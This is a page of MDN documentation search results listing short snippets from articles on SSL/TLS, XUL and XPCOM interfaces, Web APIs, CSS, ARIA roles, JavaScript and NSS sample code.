the secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers.
... both client and server authentication occur over ssl/tls.
...symmetric-key encryption is much faster than public-key encryption, but public-key encryption provides better authentication techniques.
...And 18 more matches
Using workers in extensions - Archive of obsolete content
if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example.
... how this differs from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
... this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth.
...And 18 more matches
Implementation Status - Archive of obsolete content
limitations and extensions the extension has some limitations and custom extension to the xforms 1.1 specification.
... these can be found on the mozilla xforms specials page.
... specification chapter index here we give an overview of xforms 1.1 specification chapters and the current status of the mozilla support.
...And 18 more matches
Gecko FAQ - Gecko Redirect 1
basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen.
...gecko also offers the ability to parse various document types (html, xml, svg, etc), advanced rendering capabilities including compositing and transformations, and support for embedded javascript and plugins.
... gecko is so fast and so powerful that it's being used to create the user interface of some applications ("chrome") as well.
...And 18 more matches
Fundamental CSS comprehension - Learn web development
the final step before you move on is to attempt the assessment for the module — this involves a number of related exercises that must be completed in order to create the final design — a business card/gamer card/social media profile.
... starting point to get this assessment started, you should: go and grab the html file for the exercise, and the associated image file, and save them in a new directory on your local computer.
... project brief you have been provided with some raw html and an image, and need to write the necessary css to style this into a nifty little online business card, which can perhaps double as a gamer card or social media profile.
...And 18 more matches
CSS FAQ - Learn web development
LearnCSSHowtoCSS FAQ
modern browsers have two main rendering modes: quirks mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers.
... here are some possible causes: you've got the path to css file wrong.
... html elements can have an id and/or class attribute.
...And 18 more matches
How do I start to design my website? - Learn web development
summary when starting with a web project, many people focus on the technical side.
...yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision.
... all of this is called project ideation and is a necessary first step to reach your goal, whether you are a beginner or an experienced developer.
...And 18 more matches
Starting our Svelte Todo list app - Learn web development
previous overview: client-side javascript frameworks next now that we have a basic understanding of how things work in svelte, we can start building our example app: a todo list.
... repl to code along with us using the repl, start at https://svelte.dev/repl/b7b831ea3a354d3789cefbc31e2ca495?version=3.23.2 todo list app features this is how our todo list app wil look like once it's ready: using this ui our user will be able to: browse their tasks.
... note: you can put your components anywhere inside the src folder, but the components folder is a recognized convention to follow, allowing you to find your components easily.
...And 18 more matches
Old Thunderbird build
while you can build thunderbird on older hardware it can take quite a bit of time to compile on slower machines with less ram.
... build prerequisites depending on your operating system you will need to carry out a different process to prepare your machine.
...you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
...And 18 more matches
How to implement a custom autocomplete search component
there are actually two autocomplete mechanisms: an older mechanism that is part of the "xpfe" codebase and is used in older applications such as thunderbird and seamonkey.
... a newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner.
... the simplest way to make an xpcom component is to build an xpcom javascript component (this cannot be done with a javascript module).
...And 18 more matches
NSS 3.12.4 release notes
you can check out the source from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_4_rtm nss see the documentation section for the build instructions.
... cert_decodecrlissuingdistributionpoint cert_findcrlissuingdistpointexten the old documentation of the expression matching syntax rules was incorrect, and the new corrected documentation is as follows for public nssutil functions (see portreq.h): port_regexpvalid port_regexpsearch port_regexpcasesearch these functions will match a string with a shell expression.
...matches one character \ will escape a special character $ matches the end of the string bracketed expressions: [abc] matches one occurence of a, b, or c.
...And 18 more matches
NSS Developer Tutorial
in new code, prefer the former style, as it conserves vertical space.
... multiple-line comments should be formatted as follows: /* * line1 * line2 */ or /* ** line 1 ** line 2 */ the following styles are also common, because they conserve vertical space: /* line1 * line2 */ or /* line1 ** line2 */ or /* line1 * line2 */ naming public functions are named foo_dooneaction.
... variable, and function parameter names, always start with a lowercase letter.
...And 18 more matches
Places Developer Guide
this document is for extension and application developers who want to use the bookmarks and history apis in firefox 3.
... it provides code samples for many common use-cases, such as crud operations, searching, and observing.
...the bookmarks datastore is hierarchical, modeling folders and their contents.
...And 18 more matches
How to build an XPCOM component in JavaScript
if you want to use your component only from javascript, you can skip to the next section.
... there are many interfaces already defined in mozilla applications, so you may not need to define a new one.
... you can browse existing xpcom interfaces at various locations in the mozilla source code, or using xpcomviewer, a gui for browsing registered interfaces and components.
...And 18 more matches
NS_ConvertASCIItoUTF16
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsautostring data members no public members.
... @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
...And 18 more matches
NS_ConvertUTF8toUTF16
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsautostring data members no public members.
... @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
...And 18 more matches
nsFixedCString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
...char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
... @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
...And 18 more matches
nsFixedString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
... @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
...And 18 more matches
nsPromiseFlatCString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
...char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
... @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
...And 18 more matches
nsPromiseFlatString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
... @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
...And 18 more matches
nsIDownloadProgressListener
/toolkit/components/downloads/nsidownloadprogresslistener.idlscriptable this interface gives applications and extensions a way to monitor the status of downloads being processed by the download manager.
... inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) to use simply implement this interface in your code, then call nsidownloadmanager.addlistener() to start listening.
... when you no longer need to listen to the download manager's state, call nsidownloadmanager.removelistener() to stop listening.
...And 18 more matches
nsIInputStream
a blocking input stream may suspend the calling thread in order to satisfy a call to close(), available(), read(), or readsegments().
... a non-blocking input stream, on the other hand, must not block the calling thread of execution.
... note: blocking input streams are often read on a background thread to avoid locking up the main application thread.
...And 18 more matches
nsIVariant
we mark the interface [scriptable] so that js can use methods that refer to this interface.
... but we mark all the methods and attributes [noscript] since any nsivariant object will be automatically converted to a js type anyway.
...if the value was utf8 then it is converted to utf16 and the high bits are discarded.
...And 18 more matches
nsIWebNavigation
it provides methods and attributes to direct an object to navigate to a new location, stop or restart an in process load, or determine where the object has previously gone.
... load_flags_is_refresh 16 this flag specifies that the load should have the semantics of an html meta-refresh tag (that is, that the cache should be bypassed).
... this flag is only applicable to loaduri.
...And 18 more matches
nsIXPCScriptable
for example, callers must guarantee that they set the *_retval of the various methods that return a boolean to pr_true before making the call.
...jsobjectptr objp); prbool convert(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 type, in jsvalptr vp); void finalize(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); prbool checkaccess(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in pruint32 mode, in jsvalptr vp); prbool call(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 argc, in jsvalptr argv, in jsvalptr vp); prbool construct(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 argc, in jsvalptr argv, in jsvalptr vp); prbool hasinstance(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval val, out...
...nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); jsobjectptr innerobject(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreateprototype(in jscontextptr cx, in jsobjectptr proto); attributes attribute type description classname string scriptableflags pruint32 the bitwise or'd set of flags (define below) that indicate the behavior of this object.
...And 18 more matches
nsIXULAppInfo
xpcom/system/nsixulappinfo.idlscriptable this interface provides information about the host application.
... it can be used to distinguish between different mozilla-based applications.
... it provides application name, application version, gecko version and more.
...And 18 more matches
Mail event system
the folder pane needs to know that this changed so that it can update the message count so the user can see it.
...when a notification is fired on a folder, all of the folder's folder listeners and the mail session itself is notified.
... nsifolderlistener.idl is an interface that an object can implement if it is interested in listening to changes on single folder or on all folders.
...And 18 more matches
Zombie compartments
they can be caused by bugs in firefox itself, or by bugs in firefox add-ons.
... multiple compartments can share a zone, where a zone keeps track of things that can easily and securely be shared between related compartments such as string data and type information.
...in the results, you'll find a js-main-runtime-compartments tree (whcih you may need to expand further) that lists all system (firefox and add-ons) and user (website) compartments, these compartments are also listed in more detail in the explicit allocations section.
...And 18 more matches
Flame Chart - Firefox Developer Tools
this gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called from.
... the call tree and the flame chart are both used to analyze your site's javascript, and they both use the same data: a sample of the javascript engine's stack, taken periodically during the recording.
... but while the call tree organizes this data to show you where your program is spending most time in aggregate across the recording, the flame chart uses it to show you when in the recording particular functions are executing.
...And 18 more matches
HTMLButtonElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a...
... htmlbuttonelement.accesskey is a domstring indicating the single-character keyboard key to give access to the button.
... htmlbuttonelement.autofocus is a boolean indicating whether or not the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control.
...And 18 more matches
Using the MediaStream Recording API - Web APIs
a sample application: web dictaphone to demonstrate basic usage of the mediarecorder api, we have built a web-based dictaphone.
... you can see this demo running live, or grab the source code on github.
... keeping the interface constrained to the viewport, regardless of device height, with calc() the calc() function is one of those useful little utility features that's cropped up in css that doesn't look like much initially, but soon starts to make you think "wow, why didn't we have this before?
...And 18 more matches
RTCPeerConnection.addTrack() - Web APIs
see starting negotiation in signaling and video calling for details.
...optional one or more local mediastream objects to which the track should be added.
...any tracks that are added to the same stream on the local end of the connection will be on the same stream on the remote end.
...And 18 more matches
WebRTC Statistics API - Web APIs
collecting statistics you can collect statistics at various levels throughout the webrtc hierarchy of objects.
... most broadly, you can call getstats() on an rtcpeerconnection to get statistics for the connection overall.
... in this example, a new rtcpeerconnection is created, and then setinterval() is used to set the function getconnectionstats() to be called every second.
...And 18 more matches
WindowEventHandlers - Web APIs
each of these interfaces can implement additional specific event handlers.
... note: windoweventhandlers is a mixin and not an interface; you can't actually create an object of type windoweventhandlers.
... windoweventhandlers.onafterprint is an eventhandler representing the code to be called when the afterprint event is raised.
...And 18 more matches
XRReferenceSpace - Web APIs
it expands upon the base class, xrspace, by adding support for several different tracking behaviors as well as to request a new reference space which describes the offset transform between the tracked object and another location in the world.
...for xr systems that allow the user to physically move around, such as those that track movement with a real-world camera, this boundary establishes the edges of the area the user is able to move around in, whether due to physical obstacles or due to limitations of the xr hardware.
... see the article using bounded reference spaces to protect the viewer for more on using boundaries to keep the user from colliding with obstacles both physical and virtual.
...And 18 more matches
ARIA: button role - Accessibility
this role can be used in combination with the aria-pressed attribute to create toggle buttons.
...a button is a widget used to perform actions such as submitting a form, opening a dialog, cancelling an action, or performing a command such as inserting a new record or displaying information.
...a toggle button is a two-state button that can be either off (not pressed) or on (pressed).
...And 18 more matches
WAI-ARIA Roles - Accessibility
for a full list of roles, see using aria: roles, states, and properties aria: alert rolethe alert role can be used to tell the user an element has been dynamically updated.
...if the user is expected to close the alert, then the alertdialog role should be used instead.aria: application rolethe application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop application, and no traditional html interpretation techniques should be used.
... this role should only be used to define very dynamic and desktop-like web applications.aria: article rolethe article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a website.
...And 18 more matches
A hybrid approach - Developer guides
the most important concept to remember is that server-side and client-side techniques can be combined to fit your situation.
...if your mobile and desktop use cases are similar enough, this is definitely the preferred option for layout changes.
... however, it can be a pain to use client-side techniques to alter site content to fit the user’s context.
...And 18 more matches
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
the format of the month string used by this input type is described in format of a valid local month string in date and time formats used in html.
... you can set a default value for the input control by including a month and year inside the value attribute, like so: <label for="bday-month">what month were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2017-06"> one thing to note is that the displayed date format differs from the actual value; most user agents display the month and year in a locale-appropriate form, based on the set locale of the user's operating system, whereas the date value is always formatted yyyy-mm.
... you can also get and set the date value in javascript using the htmlinputelement.value property, for example: <label for="bday-month">what month were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2017-06"> var monthcontrol = document.queryselector('input[type="month"]'); monthcontrol.value = '1978-06'; additional attributes in addition to the attributes common to <input> elements, month inputs offer the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the latest year and month to accept as a valid input ...
...And 18 more matches
Meta programming - JavaScript
property lookup, assignment, enumeration, function invocation, etc).
... invariants semantics that remain unchanged when implementing custom operations are called invariants.
... a property cannot be reported as non-existent if it exists as a non-configurable own property of target.
...And 18 more matches
Array - JavaScript
since an array's length can change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense; this depends on how the programmer chooses to use them.
... arrays cannot use strings as element indexes (as in an associative array) but must use integers.
...the array's object properties and list of array elements are separate, and the array's traversal and mutation operations cannot be applied to these named properties.
...And 18 more matches
String.prototype.normalize() - JavaScript
these values have the following meanings: "nfc" canonical decomposition, followed by canonical composition.
... "nfd" canonical decomposition.
... "nfkc" compatibility decomposition, followed by canonical composition.
...And 18 more matches
Dehydra Function Reference - Archive of obsolete content
gcc command line -fplugin=/path/to/gcc_dehydra.so -fplugin-arg-gcc_dehydra=/path/to/your/script.js callback functions the following functions may be provided by the analysis script and will be called by dehydra while compiling.
...process_type(type) dehydra calls this for each class, struct, enum, union, and typedef declaration.
... process_type is called after process_function is called for all the member functions.
...And 17 more matches
Actionscript Acceptance Tests - Archive of obsolete content
the majority of the acceptance tests are written in actionscript and located in test/acceptance.
...the acceptance test template can be found here.
...the test file can not be wrapped in a package or define classes as the file will be wrapped in a function when used in the ats.
...And 17 more matches
Install script template - Archive of obsolete content
/** doron rosenberg -- doronatnospamallowedherenetscape.com arun k.
... ranganathan -- aruneratnospamallowedherenetscape.com petter ericson -- petteratnospamallowedherecycore.com this is an install.js file that does the following -- 1.
...additionally installs to a secondary location on the windows desktop, in this case c:\winnt\system32\myplugin\ 3.
...And 17 more matches
Panels - Archive of obsolete content
a panel is a popup which can support any type of content.
...clicking outside the panel or pressing escape will close the panel.
... you can also place a close button in the panel which will close the panel with a script if desired.
...And 17 more matches
Building Trees - Archive of obsolete content
you can use a template with a tree just like any other template.
...to use the tree builder, you need to add a flags attribute to the root node: <tree datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content"> the dont-build-content flag causes no content to be built for the template.
... but moreover, it uses a subtype of the main builder called the tree builder.
...And 17 more matches
Multiple Queries - Archive of obsolete content
if there is only rule, the rule element may be omitted as is the case when only one query is used.
...here is an example using an rdf datasource: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </queryset> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> <action> <image uri="?photo" src="?photo"/>...
... </action> </queryset> </template> </hbox> this template contains two queries, the first contains a <triple> which matches only the photo with a title of 'canal'.
...And 17 more matches
Tree Widget Changes - Archive of obsolete content
that means that the ids can be left out, although it's probably a good idea to use them anyway.
...both the nsitreecolumn and nsitreecolumns interfaces can be found at layout/xul/base/src/tree/public/nsitreecolumns.idl.
... the column objects are created automatically, so you don't have to write any extra code.
...And 17 more matches
Adding Style Sheets - Archive of obsolete content
xul uses css (cascading style sheets) to customize elements.
...it was originally designed for html elements but can be applied to xul elements also, or to any xml for that matter.
...in many cases, it will suffice to leave the defaults as is.
...And 17 more matches
Numeric Controls - Archive of obsolete content
as with other textboxes, the default value can be specified with the value attribute.
...however, the minimum and maximum values can also be specified using the min and max attributes.
... if these are set, you can control the range of values that the textbox may be set to.
...And 17 more matches
Simple Menu Bars - Archive of obsolete content
the most basic way is to add a menu bar with a row of menus on it like many applications have.
... you can also create popup menus.
...the items on the menus can be customized quite easily.
...And 17 more matches
dialog - Archive of obsolete content
these buttons will be placed in the correct locations for the user's platform.
... attributes buttonaccesskeyaccept, buttonaccesskeycancel, buttonaccesskeydisclosure, buttonaccesskeyextra1, buttonaccesskeyextra2, buttonaccesskeyhelp, buttonalign, buttondir, buttondisabledaccept, buttonlabelaccept, buttonlabelcancel, buttonlabeldisclosure, buttonlabelextra1, buttonlabelextra2, buttonlabelhelp, buttonorient, buttonpack, buttons, defaultbutton, title properties buttons, defaultbutton methods acceptdialog, canceldialog, centerwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatek...
...eeper/there.is.only.xul" buttons="accept,cancel" buttonlabelcancel="cancel" buttonlabelaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> <radiogroup> <radio label="red"/> <radio label="green" selected="true"/> <radio label="blue"/> </radiogroup> <label value="nickname"/> <textbox/> </groupbox> </dialog> attributes activetitlebarcolor type: color string specify background color of the window's titlebar when it is active (foreground).
...And 17 more matches
menuitem - Archive of obsolete content
style classes menuitem-iconic, menuitem-non-iconic examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
... checked type: boolean indicates whether the element is checked or not.
... note: if the checked attribute is set to true, and you persist its value via the persist attribute, mozilla will fail to persist its value when the menuitem is unchecked because of bug 15232.
...And 17 more matches
wizard - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to construct a step-by-step wizard found in some applications to guide users through a task.
... attributes firstpage, lastpage, pagestep, title, windowtype properties canadvance, canrewind, currentpage, onfirstpage, onlastpage, pagecount, pageindex, pagestep, title, wizardpages methods advance, cancel, extra1, extra2, getbutton, getpagebyid, goto, rewind examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there...
....is.only.xul"> <script> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode();"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> attributes activetitlebarcolor type: color string specify background color of the window's titlebar when it is active (foreground).
...And 17 more matches
NPClass - Archive of obsolete content
syntax struct npclass { uint32_t structversion; npallocatefunctionptr allocate; npdeallocatefunctionptr deallocate; npinvalidatefunctionptr invalidate; nphasmethodfunctionptr hasmethod; npinvokefunctionptr invoke; npinvokedefaultfunctionptr invokedefault; nphaspropertyfunctionptr hasproperty; npgetpropertyfunctionptr getproperty; npsetpropertyfunctionptr setproperty; npremovepropertyfunctionptr removeproperty; npenumerationfunctionptr enumerate; npconstructfunctionptr construct; }; warning: don't call these routines directly.
... allocate returns a pointer to a newly allocated npobject.
... called by npn_createobject() if non-null, otherwise the browser calls malloc().
...And 17 more matches
3D collision detection - Game development
the axis-aligned constraint is there because of performance reasons.
... the overlapping area between two non-rotated boxes can be checked with logical comparisons alone, whereas rotated boxes require additional trigonometric operations, which are slower to calculate.
... if you have entities that will be rotating, you can either modify the dimensions of the bounding box so it still wraps the object, or opt to use another bounding geometry type, such as spheres (which are invariant to rotation.) the animated gif below shows a graphic example of an aabb that adapts its size to fit the rotating entity.
...And 17 more matches
Type, class, and ID selectors - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the different css selectors we can use to apply css to a document.
... type selectors a type selector is sometimes referred to as a tag name selector or element selector, because it selects an html tag/element in your document.
... the universal selector the universal selector is indicated by an asterisk (*) and selects everything in the document (or inside the parent element if it is being chained together with another element and a descendant combinator).
...And 17 more matches
What text editors are available? - Learn web development
ideally, you'd try as many editors as you can and get a feel for what suits your workflow.
...obviously, that matters too, but a product's cost has little connection with its quality or capability.
... try digging through the settings of your editor and read the manual or documentation to see what its capabilities are.
...And 17 more matches
Properly configuring server MIME types - Learn web development
this article may contain out of date information, as it has not been significantly updated in many years.
... background by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown content types.
...this is a major source of problems for users of gecko-based browsers, which respect the mime types as reported by web servers and web applications.
...And 17 more matches
Limitations of chrome scripts
however, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will be removed eventually they can have a bad effect on responsiveness there are likely to be edge cases in which they don't work properly you can see all the places where your add-on uses compatibility shims by setting the dom.ipc.shims.enabledwarnings preference and watching the browser console as you use the add-on.
...in this case, the shim will return a javascript object that looks somewhat like a window or a document for about:blank.
... to make the shim unnecessary: factor the code that needs to access content into a separate script, load that script into the content process as a frame script, and communicate between the chrome script and the frame script using the message-passing apis.
...And 17 more matches
Performance
because declared functions are also objects.
...rget result = helper(frameglobal.content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks.
... but care must be taken to not leak references to the frame script global when it is passed into a jsm.
...And 17 more matches
JavaScript OS.Constants
winappdatadir the path to the user's roaming application data directory.
... winlocalappdatadir the path to the user's local application data directory.
... maclocalapplicationsdir the path to the local applications directory.
...And 17 more matches
L10n Checks
l10n checks is a python script and library similar to compare-locales.
... it allows mozilla localizers to easily check their work.
...: $ hg clone http://hg.mozilla.org/users/akalla_aviary.pl/silme-patched/ $ cd silme-patched/ $ sudo python setup.py install or, if you're on windows: $ hg clone http://hg.mozilla.org/users/akalla_aviary.pl/silme-patched/ $ cd silme-patched/ $ python setup.py install running it mercurial source (source) mode l10n checks gathers the directories to compare from an ini file, usually found in $app/locales/l10n.ini.
...And 17 more matches
Fonts for Mozilla 2.0's MathML engine
on mac os x lion (10.7) and higher versions, stix fonts are already installed and can be used for mathml.
... on most linux distributions and similar open source platforms, you can install math fonts (stix, asana or mathjax fonts) from your package manager or get them from this zip archive.
... overview mathematical formulas make use of various symbols represented by specific unicode characters.
...And 17 more matches
Leak-hunting strategies and tips
use with caution.
... strategy for finding leaks when trying to make a particular testcase not leak, i recommend focusing first on the largest object graphs (since these entrain many smaller objects), then on smaller reference-counted object graphs, and then on any remaining individual objects or small object graphs that don't entrain other objects.
... because (1) large graphs of leaked objects tend to include some objects pointed to by global variables that confuse gc-based leak detectors, which can make leaks look smaller (as in bug 99180) or hide them completely and (2) large graphs of leaked objects tend to hide smaller ones, it's much better to go after the large graphs of leaks first.
...And 17 more matches
A brief guide to Mozilla preferences
a preference is any value or defined behavior that can be set (presumably, one setting is preferable to another).
... a preference is read from a file, and can call up to four methods: pref(), user_pref(), sticky_pref() and lockpref().
... all preferences files may call pref(), user_pref() and sticky_pref(), while the config file in addition may call lockpref().
...And 17 more matches
About NSPR
netscape portable runtime (nspr) provides platform independence for non-gui operating system facilities.
... these facilities include threads, thread synchronization, normal file and network i/o, interval timing and calendar time, basic memory management (malloc and free) and shared library linking.
...nspr went beyond that requirement in some areas and since it was also the platform independent layer for most of the servers produced by netscape.
...And 17 more matches
EncDecMAC using token object - sample 3
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11con...
